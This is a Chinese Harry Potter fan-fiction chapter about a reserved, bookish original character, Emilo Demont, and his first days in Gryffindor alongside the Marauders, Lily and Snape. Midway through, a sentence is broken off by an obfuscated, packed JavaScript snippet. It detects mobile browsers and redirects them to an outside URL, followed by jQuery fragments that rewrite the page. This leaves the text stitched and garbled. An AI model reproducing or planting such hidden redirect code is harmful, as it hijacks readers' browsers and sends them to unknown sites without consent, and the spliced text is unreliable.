格兰芬多的象征是一头雄狮,旗帜是燃烧般的金色与炽热的红色。它象征着蓬勃的生命力,展现出无与伦比的威严与自信。人们都说格兰芬多是勇敢者的学院,这里似乎天生就盛产校园明星——他们总是那么有趣,那么耀眼,仿佛自带光芒。
然而,在格兰芬多所有的学生中,埃米洛是个不起眼的存在。
他没什么煊赫的出身。父亲守着祖上传下的一爿魔法用具小店,收入勉强维持家用。母亲是个典型的家庭主妇,温顺、依赖,对出门和社交带着一丝怯意。她精打细算,每个月初都会在一张泛黄的纸上细细列出开支规划,字迹工整,仿佛那是抵御生活的堡垒。然而,这堡垒常常在夜晚被父亲轻易攻破——德蒙特先生格外好面子,尤其是在那些昔日同窗和所谓“有脸面”的客户面前。即使囊中羞涩,他也要硬撑着请客吃饭,豪气地开启餐厅里最贵的那瓶酒,仿佛那酒液能洗刷掉生活的窘迫。
入学前,德蒙特先生说半大的孩子用不着全新的。于是,在姑姑和叔叔混合着鄙夷与无奈的目光中,一家人登场又退场。来时两手空空,走时却捎走了表哥表姐淘汰的旧课本、旧袍子,外加一兜子水果和一瓶酒(大概是从餐厅顺来的)。
“你得学着点,别总像个锯了嘴的葫芦,”德蒙特先生语气严厉,目光像鞭子一样抽在埃米洛身上,“亲戚、朋友、同学,这都是你的人脉,将来遇事能帮上大忙的。”
埃米洛继承了母亲的细致。他把借来的每一样东西都工工整整地记在一个小本子上。他是个脸皮薄的孩子,这种近乎无止境的亏欠感像藤蔓一样缠绕着他,即便是对自家亲戚,也让他喘不过气。他全身上下,从磨损的袍角到划痕的课本,都散发着“二手”的气息。只有那根魔杖是簇新的——母亲偷偷领着他买的:冷杉木,独角兽的毛,十二英寸长。从他拿到它的那天起,母亲的叮嘱就像背景音一样萦绕耳边:“小心点用,埃米洛,千万别像那些不知轻重的孩子,拿它去干架……”
登上霍格沃茨特快那天,他运气出奇地好,竟找到了一间空着的单人包厢。关上门,隔绝了站台上的喧嚣和父母的影子,他长长地舒了一口气。耳边只剩下车轮碾过铁轨发出的单调而规律的“哐当哐当”声。倚在窗边,望着飞速后退的田园风光,埃米洛也和所有新生一样,开始编织关于城堡、学院和未来的幻想。
旅程漫长。大约走了四分之一路程时,包厢的门被轻轻叩响了。
“……请进。”埃米洛的声音带着一丝被打扰的迟疑。
门被推开,走进来两个人。领头的是一位红发女生,发色如同燃烧的火焰,面容秀气而明丽,碧绿的眼睛里带着礼貌的探询。她身后跟着一个男孩,脸色苍白,身形瘦削得近乎嶙峋,油腻的黑发垂在脸颊两侧,穿着一件显然不合身的旧斗篷。
“抱歉打扰,”红发女生的声音清脆悦耳,“请问我们可以坐这里吗?其他包厢似乎都满了。”
“没问题。”埃米洛压下心头那点被打断独处的失落,挪了挪位置,腾出空间,“这里就我一个,你们随意。”
“谢谢!我叫莉莉·伊万斯。”女生一边放下行李一边自我介绍,又指了指身后的同伴,“这位是西弗勒斯·斯内普。”
“埃米洛·德蒙特。”他报上名字,声音不高。
埃米洛没有询问他们为何此时才找到空位。他低下头,假装专注地翻看一本《标准咒语,初级》,实则用眼角的余光默默观察着这对显然早已熟识的同伴。见他无意攀谈,两人也默契地没有搭话,很快凑到包厢的另一角,压低声音讨论起即将到来的分院。
分院……埃米洛的心绪也被勾了起来。临行前,父亲德蒙特先生曾严厉地警告他:“不许分到赫奇帕奇!”
“那里尽是些平庸之辈,”父亲当时厌恶地皱起眉头,仿佛想起了什么不堪的往事,“最好是去斯莱特林。那里能结识真正有价值的人脉,我当年就受惠于不少老同学。人脉就是资源,埃米洛,记住了。”
“……斯莱特林聚集着许多古老家族的后裔,人脉价值很高。”西弗勒斯·斯内普低沉的声音飘了过来,带着一种与年龄不符的世故。
埃米洛翻书的手指几不可察地顿了一下。他的目光扫过男孩那件和自己一样打着补丁、袖口磨损的旧斗篷,还有那条明显短了一截、露出脚踝的裤子。
“可是……我是麻瓜出身,”莉莉的声音带着一丝不易察觉的紧张,“那里……真的会适合我吗?”
“我希望你能和我一起……”西弗勒斯避开了问题的核心,声音含糊下去。
两人陷入了短暂的沉默。埃米洛明白,莉莉大概已经从同伴的沉默中读懂了答案——斯莱特林的大门,对麻瓜出身者并不真正敞开。他收回目光,重新聚焦在书本上。同龄人这种关于“价值”和“归属”的讨论,像一块无形的石头,沉甸甸地压在他心头。他害怕成为父亲口中的“平庸之辈”,被塞进赫奇帕奇;但斯莱特林那种父亲推崇的、功利而森严的氛围,又让他本能地感到抵触和窒息。
当分院帽扣在他头上时,一片黑暗和嘈杂的思绪中,一个细微而清晰的声音在他脑中响起:“嗯……比你想象的要坚定得多,孩子。你心里藏着一种深沉的勇气,只是需要点燃……是的,毫无疑问,格兰芬多会是最能激发你潜力的地方!”
“格兰——芬——多!”帽子洪亮的声音响彻礼堂。
埃米洛有些懵然地走向欢呼鼓掌的格兰芬多长桌,脚步轻飘飘的。愿望成真的轻松和巨大的快乐像暖流一样冲刷着他,几乎让他晕眩。红金色的旗帜在眼前招展,仿佛真的有一只狮子在对他咆哮,欢迎他回家。
然而,这份纯粹的喜悦仅仅持续到第二天早餐时分。一只灰扑扑的猫头鹰将一封信丢在他面前的餐盘里,溅起几滴牛奶。拆开父亲熟悉的潦草字迹,德蒙特先生的“教诲”如期而至:虽然没能进入斯莱特林有些遗憾,但格兰芬多同样不乏“优秀人才”,务必在校期间与他们“处好关系”,编织“有用的人脉网络”。
冰冷的现实像一盆冰水,瞬间浇熄了埃米洛心中对新生活的所有热切期待。他面无表情地把信折好,夹进厚重的《魔法药剂与药水》课本里,仿佛想用知识的重量将它彻底压扁、遗忘。
就在这时,一声震耳欲聋的咆哮撕裂了礼堂的喧嚣!
“西里斯·布莱克!你这个家族的叛徒!不肖的孽子——!”
一封鲜红的吼叫信在西里斯·布莱克面前疯狂抖动,布莱克夫人那歇斯底里的尖叫如同魔咒,冲击着每个人的耳膜。整个礼堂瞬间鸦雀无声,所有目光都聚焦在格兰芬多长桌。
“梅林的胡子啊!”坐在西里斯旁边的詹姆·波特夸张地捂住耳朵,脸上却带着幸灾乐祸的笑,“你老妈至于吗?你是分到了格兰芬多,又不是被扔进了阿兹卡班!”
“在她看来,这两者大概没什么区别。”西里斯懒洋洋地嗤笑一声,修长的手指随意一揉,那封还在喷溅火星的信件瞬间化为一撮灰烬,被他优雅地弹开。“说不定我去阿兹卡班,她还会更开心点。”
詹姆和西里斯,埃米洛的室友,两人显然已经成了形影不离的铁哥们。昨晚在宿舍,他们激昂的谈笑和关于恶作剧的奇思妙想就几乎掀翻了天花板。埃米洛的四个室友性格迥异:热情洋溢、活力四射的詹姆·波特;英俊不羁、举手投足间带着古老家族优雅与叛逆混合气质的西里斯·布莱克;温和沉静、眼神总带着一丝疲惫忧郁的莱姆斯·卢平;以及总是缩手缩脚、眼神闪烁、说话结结巴巴的彼得·佩迪鲁。
开学第一晚,詹姆就热情地分享了从家里带来的、包装精美得如同礼物的零食,并发表了一通关于“要做一辈子好兄弟”的即兴演说。西里斯一边吐槽他“肉麻”,一边嘴角却带着笑;莱姆斯温和地鼓了掌;彼得则激动得脸通红,结结巴巴地说“这、这是我的荣幸”。
埃米洛性格慢热,对这种扑面而来的热情感到有些无所适从。何况对方是波特家的独子,与自己明显处于不同的世界。更关键的是,他们似乎天生就带着“麻烦制造机”的标签——开学仅仅一周,就联手为格兰芬多贡献了负五十分的“辉煌”战绩。他没有刻意疏远,平时跟着他们一起上下课,但课后那些探索密道、夜游城堡的活动,他总是找理由婉拒。
他更喜欢霍格沃茨的图书馆。那里有高耸至天花板的书架,弥漫着旧羊皮纸、墨水和木头混合的宁静气息。有作业时,他就在靠窗的位置安静书写;没作业时,便沉浸在教授们推荐的书籍里,在知识的海洋中徜徉。傍晚时分,金色的阳光斜斜地穿过高大的拱窗,洒落在摊开的书页上,每一个字母都被镀上了一层温暖的光晕。埃米洛常常凝视着这景象,那句古老的格言——“知识就是黄金”——在此刻变得无比具象而动人。好好学习,每一年都拿到漂亮的成绩单,为五年级的O.W.Ls考试打下坚实基础,然后在那场至关重要的考试中脱颖而出,将来获得一份体面的、无需仰人鼻息的工作——这就是埃米洛为自己规划的、清晰而踏实的未来蓝图。他愿意为这个目标付出所有的专注和努力。
魔法史课上,宾斯教授用他那毫无起伏的、如同催眠曲般的语调讲述着妖精叛乱,沉闷的空气让整个教室都昏昏欲睡。坐在埃米洛旁边的莱姆斯,苍白脸上挂着浓重的黑眼圈,用胳膊肘轻轻碰了碰他,压低声音说:“……埃米洛,我感觉自己下一秒就要去见梅林了。”
埃米洛正一丝不苟地在羊皮纸上记录着叛乱的日期、导火索和深远影响,闻言头也没抬:“睡吧。下课我把笔记借你。”
“太感谢了,埃米洛。”莱姆斯如蒙大赦,感激地拍了拍他的肩,随即效仿周围那些摇摇欲坠的同学,将厚重的课本竖起来,当作脆弱的屏障。
“宾斯这课简直是时间谋杀器……”坐在他们后排的詹姆用羽毛笔的尾端戳了戳埃米洛的后背,“好兄弟,笔记也借我一份呗?”
“我直接复制四份,”埃米洛笔下不停,又写下一条关于妖精战争对古灵阁影响的分析,“晚上放你们床头。”
“梅林保佑你,埃米洛!你简直是格兰芬多的救星!”詹姆的声音充满了真诚的感激,“对了,今晚跟我们一起出去吗?有个绝妙的点子……”
埃米洛记笔记的手几不可察地顿了一下。旁边的西里斯发出一声慵懒的嗤笑:“动动你那被巨怪踩过的脑子,詹姆。好学生怎么可能参与我们这种‘午夜冒险’?”
“……”埃米洛面无表情地将羊皮纸翻过一页,发出轻微的沙沙声,“玩得开心。别被费尔奇和他的猫堵在密道里就行。”
下一节是飞行课。詹姆一听到下课铃响就第一个冲出了魔法史教室,兴奋的嚷嚷声在走廊里回荡:“我三岁就能骑着玩具扫帚绕着波特老宅飞了!去年暑假,我跟着父亲从戈德里克山谷出发,一路飞到伦敦市中心!虽然落地时我感觉自己的脸都被风吹歪了,但那种感觉……伙计们,那才是真正的自由飞翔!”
“梅林啊,詹姆,你真厉害!”彼得跟在后面,语气里充满了纯粹的崇拜和一丝自卑,“我……我连真正的飞天扫帚都没摸过呢。”
“什么?不会吧彼得!”詹姆惊讶地回头,语气夸张,“那你童年都玩什么?跟地精拔河吗?那也太无聊了!”
彼得的脸瞬间涨得通红,头埋得更低了,脚步也不自觉地慢了下来,和同样落在后面的埃米洛并排。
“没关系的,彼得,”走在前面的莱姆斯停下脚步,转过身,对他露出温和安抚的笑容,“我也没真正骑过扫帚呢。说实话,想想还有点小紧张。”
彼得胡乱地点点头,眼神躲闪地瞥了一眼旁边的埃米洛:“你……你有骑过吗,埃米洛?我记得你父母都是巫师……”
埃米洛的目光掠过彼得紧张绞在一起的手指,简短地回答:“……没有。”
“那就好……”彼得像是松了口气,随即又意识到什么,连忙补充,“我是说……大家都没基础,我就放心了。啊……詹姆和西里斯懂得真多啊,他们什么都会……”他的声音越来越小,带着一种习惯性的、无意识的奉承。这种语气像细小的砂纸,摩擦着埃米洛的神经,让他莫名烦躁。他加快脚步,几步赶上了莱姆斯,和他讨论起前天布置的关于火星逆行轨迹的天文学作业。
九月的苏格兰高地,天气好得不像话。天空是澄澈的蓝宝石色,阳光明媚却不灼人,微风裹挟着青草和泥土的清新气息拂过脸颊。霍琦夫人站在魁地奇球场边缘的扫帚棚旁,身姿挺拔如标枪。她锐利的、鹰隼般的目光扫过聚集在草坪上的小巫师们,叽叽喳喳的讨论声瞬间平息。
“哦,晦气,斯莱特林。”詹姆像是看到了什么不洁之物,嫌恶地皱了皱鼻子。
“差点忘了这课跟他们一起上……”他小声嘀咕,“这么好的天气,全让这群阴沟里的蛇搅和了。”
格兰芬多与斯莱特林的宿怨由来已久。热情鲁莽、追求正义的狮子们,看不上毒蛇们精于算计、讲究血统的做派;而斯莱特林则鄙夷格兰芬多的冲动无脑。冲突在开学短短几天内就已火花四溅。
“看到那边那两个了吗?”莱姆斯用眼神示意斯莱特林队伍中两个勾肩搭背、面带讥诮的男生,“埃弗里和穆尔塞伯。昨天在走廊,他们堵住西里斯,说‘就算你自甘堕落进了狮子窝,斯莱特林的大门永远为你敞开’。詹姆当场就跟他们吵起来了,后来……嗯,演变成了魔咒乱飞的‘走廊攻防战’……西里斯那个镶着家徽的、据说很贵很贵的古董怀表,被埃弗里一个恶咒打成了碎片……”
“我迟早把埃弗里的脑袋也打成碎片,”詹姆咬牙切齿,拳头捏得咯咯响,“敢动我兄弟,活腻了!”
西里斯一脸无所谓地耸耸肩:“一个破怀表而已,家里多得是。”但他随即揽住詹姆的肩膀,两人退后几步,凑在一起压低声音密谋起来,脸上浮现出那种让莱姆斯深感不安的、恶作剧即将得逞的兴奋光芒。
“我猜他们在策划一场针对性的‘复仇行动’,”莱姆斯无奈地叹了口气,“詹姆的斗志空前高涨……昨晚你没回来,他们嘀咕了半宿,计划好像是把埃弗里和穆尔塞伯的鼻子变成会哼哼的猪鼻子。”
“课上打架会被扣分,扣很多分。”埃米洛皱紧了眉头,这关系到学院杯,以及他的奖学金。
“但愿他们所谓的‘分寸’能拦得住冲动的魔鬼……”莱姆斯的声音没什么底气。
霍琦夫人一声尖利的口哨,所有人迅速在她面前排成两列,每个人的脚边都躺着一把看起来饱经风霜、枝杈稀疏的旧扫帚。她先是清晰地讲解了握姿、平衡要点和起飞要领,接着便发出指令:“现在,所有人!伸出你们的右手,放在扫帚把上方,用坚定、清晰的语气说——‘起来(Up)’!”
“起来!”埃米洛沉声命令,目光专注。脚边那把帚柄布满凹痕的扫帚先是懒洋洋地滚动了一下,随即猛地一跳,稳稳地落入了他的掌心。他感受到粗糙木柄摩擦皮肤的触感,一种奇异的联系似乎正在建立。
“很好!现在,所有人跨上扫帚!抓稳!稳住重心!脑子里只想着‘坐稳’这一件事!听我哨声——”霍琦夫人锐利的目光扫过全场,“三——二——一——!”
“嘟——!”哨声刺破空气。
埃米洛双脚用力一蹬地面!一股强大的推力瞬间从身下传来,扫帚如同被唤醒的猛兽,猛地将他托向空中!气流呼啸着掠过耳边,失重感让他心跳加速。
“干得漂亮,德蒙特!”霍琦夫人骑着扫帚灵活地飞到他身边,声音里带着赞许,“试着控制它向前,孩子!感受风的方向!”
埃米洛深吸一口气,将全部心神凝聚在身下的扫帚上。他微微前倾身体,意念集中。扫帚顺从地向前平稳滑行,风更猛烈地吹拂着他的头发和袍角,脚下的草坪、远处的黑湖、巍峨的城堡都开始匀速后退。一种前所未有的自由感攫住了他,嘴角不由自主地向上弯起一个轻松而真实的弧度。
地面上仍是一片混乱。莱姆斯在两次笨拙的离地后终于成功升空,正有些紧张地悬停着。而彼得的情况则糟糕得多——他的扫帚像被施了疯癫咒,在空中疯狂地翻滚、扭动。彼得死死抱住扫帚柄,脸色惨白,发出惊恐的嚎叫,眼泪在眼眶里打转。詹姆和西里斯围着他上下翻飞,一边大声指点,一边毫不客气地哈哈大笑,西里斯甚至调侃他“活像一只被施了混淆咒、误以为自己能飞的胖老鼠”。
又折腾了好一会儿,在詹姆和西里斯连哄带吓的帮助下,彼得终于哆哆嗦嗦地稳住了扫帚,悬停在空中。他惊魂未定,用那双红通通、湿漉漉的眼睛无比热切地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859210|175933||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
仰望着两人,仿佛他们是从摄魂怪手下拯救了他的英雄。詹姆得意地朝不远处的莱姆斯挥挥手。莱姆斯犹豫地看了一眼还在更高处悠然盘旋的埃米洛,但埃米洛的目光似乎被远处的风景吸引,并未回应。莱姆斯最终还是操控着扫帚,带着一丝不易察觉的局促,飞向了詹姆和西里斯的方向。
埃米洛绕着霍琦夫人划定的训练区域又平稳地飞了几圈,感觉对扫帚的掌控越发得心应手。一种隐秘的冲动在心底滋生。趁着霍琦夫人的注意力被一个摇摇晃晃的斯莱特林新生吸引,他操控扫帚猛地一个拔高,向着训练场边缘无人注意的角落飞去。
扫帚带着他轻盈地画了一个漂亮的大圆圈,风在耳边呼啸,城堡的尖顶在脚下旋转。心跳在胸腔里有力地搏动着,一种冒险的快感油然而生。他舔了舔有些发干的嘴唇,准备尝试一个书上看到的、更倾斜的转弯动作——
“德蒙特!”
一个熟悉而清脆的声音从下方传来。
埃米洛压下扫帚,循声望去。女孩那头鲜艳如火的红色卷发在阳光下像一团蓬松的云朵,她正仰着头,脸上带着友好而略带焦急的笑容。
“伊万斯?”埃米洛控制扫帚稳稳地悬停在她上方几英尺处,“有事?”
莉莉·伊万斯。火车上同包厢的红发女孩,如今也是格兰芬多的同学。除了开学初那声招呼,他们几乎没有交集。宿舍里,詹姆没少抱怨她总和斯莱特林的“鼻涕精”(指西弗勒斯)混在一起,是“格兰芬多的叛徒”。
“太好了!”莉莉明显松了口气,语速加快,“能请你帮个忙吗?玛丽的扫帚好像出了点问题,一直在抖,根本没法骑稳。霍琦夫人现在在斯莱特林那边处理另一个学生摔伤。我们不太懂扫帚……她已经摔下来好几次了。”她恳切地看着埃米洛,旁边站着玛丽·麦克唐纳,女孩的膝盖处袍子沾了泥土,隐隐透出血迹,正愁眉苦脸地盯着地上那把兀自颤抖、如同患了疟疾般的扫帚。
埃米洛的目光落在那把异常抖动的扫帚上,又敏锐地扫向斯莱特林的队伍。那边看起来一切正常,学生们都在专注练习。但在人群边缘,一个瘦削、苍白的黑发身影似乎飞快地朝这边瞥了一眼,又迅速低下头,假装摆弄自己的扫帚尾枝。
“……不是扫帚的问题。”埃米洛的声音冷了下来,他迅速抽出自己的魔杖,杖尖精准地指向地上抽搐的扫帚。
“咒立停(Finite Incantatem)!”
一道无形的波动从杖尖射出,精准地击中目标。那疯狂抖动的扫帚如同被抽走了骨头,发出一声沉闷的“啪嗒”响,彻底瘫软在地,不再动弹。埃米洛降落到地面,弯腰将它捡起,掂量了一下,木柄冰冷。
“扫帚被人施了恶作剧咒语。”他的结论斩钉截铁。
两个女孩惊愕地对视了一眼,眼中都充满了后怕和愤怒。“谁……谁会做这么恶劣的事情?”莉莉的声音带着难以置信的颤抖。
“先用我的吧。”埃米洛将自己的扫帚递给惊魂未定的玛丽,“这个我拿去给霍琦夫人。”
“哦!太谢谢你了,埃米洛!”玛丽接过扫帚,受宠若惊,连忙说道,“我、我宿舍有妈妈寄来的酥糖,晚上请你吃!”
“举手之劳,不用客气。”埃米洛避开两个女孩感激的目光,拎着那把被“诅咒”的扫帚,大步流星地朝着球场另一端的霍琦夫人走去。他能感觉到背后那道来自斯莱特林方向的、冰冷而充满敌意的视线,如同芒刺。
“他人其实挺不错的嘛!”在他走远后,玛丽惊讶地对莉莉小声说,“虽然和波特那群麻烦精一个宿舍,平时看着也冷冰冰的……但关键时候很可靠!而且没有波特他们那种讨厌的傲慢劲儿。”
“希望他能一直保持这样,别被那群人带偏了。”玛丽双手合十,小声祈祷。
莉莉若有所思地点点头:“好了,我们继续练习吧。小心点,玛丽。”
当天傍晚,玛丽还是在格兰芬多公共休息室找到了埃米洛,硬塞给他一盒包装朴素的酥糖,散发着黄油和坚果的香气。“我妈妈做的,她说一定要谢谢你!”玛丽脸颊微红。莉莉站在她旁边,注意到埃米洛臂弯里抱着好几本厚重的书。
“要去图书馆吗,埃米洛?”莉莉问道。
埃米洛点点头。
“我和玛丽也正准备去,”莉莉露出一个明媚的笑容,“如果你不介意的话,我们可以一起?也许能讨论下斯拉格霍恩教授那个……嗯,‘颇具挑战性’的魔药论文?”
埃米洛想起那篇让他绞尽脑汁、关于月光石和嚏根草在缓和剂中协同作用的论文,又猛然记起斯拉格霍恩不止一次在课上盛赞莉莉的魔药学天赋。他略一沉吟,点头应允:“可以。”
图书馆的橡木长桌旁,温暖的灯光下,莉莉的论文草稿让埃米洛暗自惊叹。思路清晰,逻辑严密,更令人拍案的是她提出的一个新颖观点:将水仙花球茎粉末与两耳草汁液按特定比例预混合,作为一种中间催化剂加入缓和剂基础液中,能显著提高药效稳定性和反应速率。论证过程有理有据,实验数据详实。
埃米洛反复看了几遍那段关键论述,终于忍不住指着那几行娟秀的字迹问道:“这个混合催化剂的思路……你是怎么想到的?课本和《高级魔药制作》里都没有提及。”
“哦,这个啊,”莉莉有些不好意思地笑了笑,压低声音,“是前几天和西弗……嗯,斯内普一起在空教室做课外实验时偶然发现的。他懂得非常多,尤其是在魔药材料的特性方面。我们经常一起讨论,尝试一些课本之外的组合。”
“他下午是魔咒课,应该快下课了,”莉莉看了看墙上的魔法挂钟,“待会儿他可能会过来找我们讨论……”
话音未落,一个熟悉的、带着阴沉气息的身影出现在他们桌旁。正是列车上那位同伴。
“莉莉。”斯内普的目光先落在莉莉身上,然后才像不经意般扫过埃米洛,带着审视。
“西弗勒斯!你来得正好!”莉莉热情地招呼他坐下,“来认识一下,这位是——”
“埃米洛·德蒙特。”斯内普直接接过了话头,声音低沉而平直,听不出情绪。
“对!你们在火车上见过的!”莉莉试图活跃气氛。
“当然记得——”斯内普的嘴角勾起一个极其细微、近乎嘲讽的弧度,目光落在埃米洛身上,像冰冷的蛇信,“毕竟……能在封闭的车厢里待上六个小时,一动不动,一声不吭,连厕所都不去的人……实在令人印象深刻。我当时还以为霍格沃茨特快什么时候开始提供会翻书的傀儡娃娃服务了。”
空气瞬间凝固了。莉莉脸上的笑容僵住,她难以置信地看向斯内普,又尴尬地转向埃米洛:“德蒙特,抱歉……西弗勒斯他……他不是那个意思,他就是有时候说话比较……”
“直率?”埃米洛平静地打断她,合上了面前摊开的《魔法理论》。他没有看莉莉,目光直接迎上斯内普那双深不见底的黑眸,“我们素不相识,我自问没得罪过你。”
一股无形的、冰冷的张力在两人之间弥漫开来。莉莉夹在中间,焦急地想说些什么缓和。
“伊万斯,”埃米洛抬手制止了她,声音依旧平稳,却带着一种不容置疑的疏离,“谢谢你的论文,让我受益匪浅。但我继续留在这里,恐怕就不止是被几句莫名其妙的讽刺打扰这么简单了……”他意有所指地停顿了一下,目光意有所指地扫过自己放在桌角的书本。
“毕竟,”埃米洛站起身,居高临下地与斯内普对视,清晰地捕捉到对方眼中一闪而过的紧张和随即涌上的愠怒,“我胆子小,很怕有人会‘不小心’给我的课本也施点什么有趣的咒语。比如……让它们自己跳进黑湖里洗澡?”
斯内普的脸色瞬间变得铁青,嘴唇抿成一条苍白的细线。
埃米洛不再看他,利落地将自己的书本和羊皮纸收拢,施展了一个缩小咒塞进口袋,又将那盒酥糖轻轻放回莉莉的手边,像是拒绝了什么东西。
他动作流畅地将凳子推回桌下,发出轻微的摩擦声。声音不大,却清晰地回荡在安静的角落。然后,他拿起自己的魔杖——他唯一的新伙伴——转身,头也不回地走向图书馆厚重的大门,将那片骤然降至冰点的空气和两个神色各异的身影,彻底抛在了身后。